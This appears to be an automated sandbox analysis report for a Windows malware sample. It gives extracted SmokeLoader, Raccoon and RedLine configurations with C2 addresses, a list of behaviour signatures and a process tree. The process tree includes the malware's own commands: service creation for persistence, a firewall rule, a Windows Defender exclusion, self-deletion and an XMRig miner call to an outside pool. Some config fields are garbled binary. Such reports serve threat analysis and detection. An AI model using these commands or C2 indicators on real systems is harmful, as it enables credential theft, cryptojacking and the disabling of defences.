Analysis

  • max time kernel
    151s
  • max time network
    153s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    02/10/2021, 02:41

General

  • Target
    e5557d99dc2956d0cce4a1cd9284302c.exe
  • Size 265KB
  • Sample211002-c6fs2sdehp
  • SHA256 f74d7500782ca945d3296cd4fcf19af60b7035ff65d646c64b0c8761e38ea193
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • smokeloader

Version
  • 2020

C2
  • http://fiskahlilian16.top/

  • http://paishancho17.top/

  • http://ydiannetter18.top/

  • http://azarehanelle19.top/

  • http://quericeriant20.top/

rc4.i32
rc4.i32

Extracted

Family
  • raccoon

Botnet
  • �ru2AC�^�����wL,Q֎�B��Mc1/`�`�1K�:�y�

Attributes
  • url4cnc

    �cb{K^�WXP�۸��fB:O�٩ϥ6=q!�(�p�2�d��oqix����7�W��e�gV�� ����1 ���J2�탾ݭ�

rc4.plain
rc4.plain

Extracted

Family
  • raccoon

Botnet
  • 5ff0ccb2bc00dc52d1ad09949e9c7663bc9ca4d4

Attributes
  • url4cnc

    https://t.me/agrybirdsgamerept

rc4.plain
rc4.plain

Extracted

Family
  • redline

Botnet
  • 114кk

C2
  • 193.56.146.60:18243

Signatures

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 2 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Turns off Windows Defender SpyNet reporting 2 TTPs
  • Windows security bypass 2 TTPs
  • suricata: ET MALWARE DNS Query Sinkhole Domain Various Families (Possible Infected Host)

    suricata: ET MALWARE DNS Query Sinkhole Domain Various Families (Possible Infected Host)

  • suricata: ET MALWARE Win32.Raccoon Stealer CnC Activity (dependency download)

    suricata: ET MALWARE Win32.Raccoon Stealer CnC Activity (dependency download)

  • suricata: ET MALWARE Win32.Raccoon Stealer Data Exfil Attempt

    suricata: ET MALWARE Win32.Raccoon Stealer Data Exfil Attempt

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • Nirsoft 3 IoCs
  • XMRig Miner Payload 1 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 12 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Checks BIOS information in registry 2 TTPs 4 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 11 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Themida packer 4 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Windows security modification 2 TTPs 10 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 15 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Drops file in Windows directory 1 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 2 IoCs
  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 8 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\e5557d99dc2956d0cce4a1cd9284302c.exe
    "C:\Users\Admin\AppData\Local\Temp\e5557d99dc2956d0cce4a1cd9284302c.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1096
    • C:\Users\Admin\AppData\Local\Temp\e5557d99dc2956d0cce4a1cd9284302c.exe
      "C:\Users\Admin\AppData\Local\Temp\e5557d99dc2956d0cce4a1cd9284302c.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:696
  • C:\Users\Admin\AppData\Local\Temp\A004.exe
    C:\Users\Admin\AppData\Local\Temp\A004.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:1232
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\jpoukggw\
      2⤵
        PID:3244
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\wiuccnck.exe" C:\Windows\SysWOW64\jpoukggw\
        2⤵
          PID:1956
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create jpoukggw binPath= "C:\Windows\SysWOW64\jpoukggw\wiuccnck.exe /d\"C:\Users\Admin\AppData\Local\Temp\A004.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:2304
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description jpoukggw "wifi internet conection"
            2⤵
              PID:4064
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start jpoukggw
              2⤵
                PID:496
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:2720
              • C:\Users\Admin\AppData\Local\Temp\A15C.exe
                C:\Users\Admin\AppData\Local\Temp\A15C.exe
                1⤵
                • Executes dropped EXE
                • Windows security modification
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • Suspicious use of SetThreadContext
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:1268
                • C:\Users\Admin\AppData\Local\Temp\b452e93d-b5ac-4498-925a-94336591810a\AdvancedRun.exe
                  "C:\Users\Admin\AppData\Local\Temp\b452e93d-b5ac-4498-925a-94336591810a\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\b452e93d-b5ac-4498-925a-94336591810a\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
                  2⤵
                  • Executes dropped EXE
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:3828
                  • C:\Users\Admin\AppData\Local\Temp\b452e93d-b5ac-4498-925a-94336591810a\AdvancedRun.exe
                    "C:\Users\Admin\AppData\Local\Temp\b452e93d-b5ac-4498-925a-94336591810a\AdvancedRun.exe" /SpecialRun 4101d8 3828
                    3⤵
                    • Executes dropped EXE
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3892
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\A15C.exe" -Force
                  2⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2436
                • C:\Users\Admin\AppData\Local\Temp\A15C.exe
                  "C:\Users\Admin\AppData\Local\Temp\A15C.exe"
                  2⤵
                  • Executes dropped EXE
                  PID:3556
                • C:\Users\Admin\AppData\Local\Temp\A15C.exe
                  "C:\Users\Admin\AppData\Local\Temp\A15C.exe"
                  2⤵
                  • Executes dropped EXE
                  • Suspicious use of AdjustPrivilegeToken
                  PID:576
                • C:\Users\Admin\AppData\Local\Temp\A15C.exe
                  "C:\Users\Admin\AppData\Local\Temp\A15C.exe"
                  2⤵
                  • Executes dropped EXE
                  PID:3620
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 1268 -s 2188
                  2⤵
                  • Drops file in Windows directory
                  • Program crash
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1644
              • C:\Users\Admin\AppData\Local\Temp\A545.exe
                C:\Users\Admin\AppData\Local\Temp\A545.exe
                1⤵
                • Executes dropped EXE
                • Checks BIOS information in registry
                • Checks whether UAC is enabled
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • Suspicious use of AdjustPrivilegeToken
                PID:764
              • C:\Users\Admin\AppData\Local\Temp\ADB3.exe
                C:\Users\Admin\AppData\Local\Temp\ADB3.exe
                1⤵
                • Executes dropped EXE
                • Checks BIOS information in registry
                • Checks whether UAC is enabled
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • Suspicious use of AdjustPrivilegeToken
                PID:3812
              • C:\Users\Admin\AppData\Local\Temp\B1BB.exe
                C:\Users\Admin\AppData\Local\Temp\B1BB.exe
                1⤵
                • Executes dropped EXE
                • Loads dropped DLL
                PID:2636
                • C:\Windows\SysWOW64\cmd.exe
                  cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\B1BB.exe"
                  2⤵
                    PID:4896
                    • C:\Windows\SysWOW64\timeout.exe
                      timeout /T 10 /NOBREAK
                      3⤵
                      • Delays execution with timeout.exe
                      PID:5024
                • C:\Windows\SysWOW64\jpoukggw\wiuccnck.exe
                  C:\Windows\SysWOW64\jpoukggw\wiuccnck.exe /d"C:\Users\Admin\AppData\Local\Temp\A004.exe"
                  1⤵
                  • Executes dropped EXE
                  • Suspicious use of SetThreadContext
                  • Suspicious use of WriteProcessMemory
                  PID:1420
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe
                    2⤵
                    • Drops file in System32 directory
                    • Suspicious use of SetThreadContext
                    • Modifies data under HKEY_USERS
                    PID:1936
                    • C:\Windows\SysWOW64\svchost.exe
                      svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                      3⤵
                      • Suspicious use of AdjustPrivilegeToken
                      PID:4156
                • C:\Users\Admin\AppData\Local\Temp\BAA5.exe
                  C:\Users\Admin\AppData\Local\Temp\BAA5.exe
                  1⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  PID:3980
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\BAA5.exe"
                    2⤵
                      PID:4500
                      • C:\Windows\SysWOW64\timeout.exe
                        timeout /T 10 /NOBREAK
                        3⤵
                        • Delays execution with timeout.exe
                        PID:4552

                  Network

                        MITRE ATT&CK Enterprise v6

                        Replay Monitor

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                        Downloads

                        memory/576-206-0x0000000005000000-0x0000000005606000-memory.dmp

                        memory/576-187-0x0000000000400000-0x0000000000422000-memory.dmp

                        memory/696-114-0x0000000000400000-0x0000000000409000-memory.dmp

                        memory/764-144-0x0000000005940000-0x0000000005941000-memory.dmp

                        memory/764-149-0x0000000005980000-0x0000000005981000-memory.dmp

                        memory/764-232-0x0000000007400000-0x0000000007401000-memory.dmp

                        memory/764-135-0x0000000077BB0000-0x0000000077D3E000-memory.dmp

                        memory/764-138-0x00000000058E0000-0x00000000058E1000-memory.dmp

                        memory/764-139-0x0000000005A80000-0x0000000005A81000-memory.dmp

                        memory/764-132-0x0000000001150000-0x0000000001151000-memory.dmp

                        memory/764-211-0x0000000006E70000-0x0000000006E71000-memory.dmp

                        memory/764-217-0x0000000007570000-0x0000000007571000-memory.dmp

                        memory/764-136-0x0000000006090000-0x0000000006091000-memory.dmp

                        memory/764-145-0x0000000005A70000-0x0000000005A71000-memory.dmp

                        memory/1096-116-0x0000000000030000-0x0000000000039000-memory.dmp

                        memory/1232-130-0x0000000000400000-0x0000000000871000-memory.dmp

                        memory/1232-129-0x00000000001E0000-0x00000000001F3000-memory.dmp

                        memory/1268-128-0x0000000005080000-0x0000000005081000-memory.dmp

                        memory/1268-146-0x0000000005A50000-0x0000000005AC9000-memory.dmp

                        memory/1268-134-0x0000000001110000-0x0000000001111000-memory.dmp

                        memory/1268-148-0x0000000005FD0000-0x0000000005FD1000-memory.dmp

                        memory/1268-124-0x0000000000800000-0x0000000000801000-memory.dmp

                        memory/1420-181-0x0000000000400000-0x0000000000871000-memory.dmp

                        memory/1936-177-0x0000000002F60000-0x0000000002F75000-memory.dmp

                        memory/2180-117-0x0000000001100000-0x0000000001115000-memory.dmp

                        memory/2436-201-0x0000000006D52000-0x0000000006D53000-memory.dmp

                        memory/2436-208-0x0000000007C80000-0x0000000007C81000-memory.dmp

                        memory/2436-198-0x0000000007390000-0x0000000007391000-memory.dmp

                        memory/2436-269-0x0000000006D53000-0x0000000006D54000-memory.dmp

                        memory/2436-199-0x0000000006D50000-0x0000000006D51000-memory.dmp

                        memory/2436-268-0x000000007DEB0000-0x000000007DEB1000-memory.dmp

                        memory/2436-255-0x0000000009440000-0x0000000009473000-memory.dmp

                        memory/2436-207-0x0000000007AE0000-0x0000000007AE1000-memory.dmp

                        memory/2436-194-0x0000000006CA0000-0x0000000006CA1000-memory.dmp

                        memory/2436-209-0x0000000007D30000-0x0000000007D31000-memory.dmp

                        memory/2436-210-0x0000000007DA0000-0x0000000007DA1000-memory.dmp

                        memory/2436-229-0x0000000008530000-0x0000000008531000-memory.dmp

                        memory/2436-220-0x0000000007A50000-0x0000000007A51000-memory.dmp

                        memory/2636-176-0x0000000000400000-0x00000000008B0000-memory.dmp

                        memory/2636-175-0x00000000009B0000-0x0000000000AFA000-memory.dmp

                        memory/3812-235-0x0000000007030000-0x0000000007031000-memory.dmp

                        memory/3812-154-0x0000000000CE0000-0x0000000000CE1000-memory.dmp

                        memory/3812-156-0x0000000077BB0000-0x0000000077D3E000-memory.dmp

                        memory/3812-167-0x00000000034B0000-0x00000000034B1000-memory.dmp

                        memory/3812-237-0x0000000007960000-0x0000000007961000-memory.dmp

                        memory/3980-182-0x0000000000B50000-0x0000000000BE0000-memory.dmp

                        memory/3980-183-0x0000000000400000-0x00000000008B1000-memory.dmp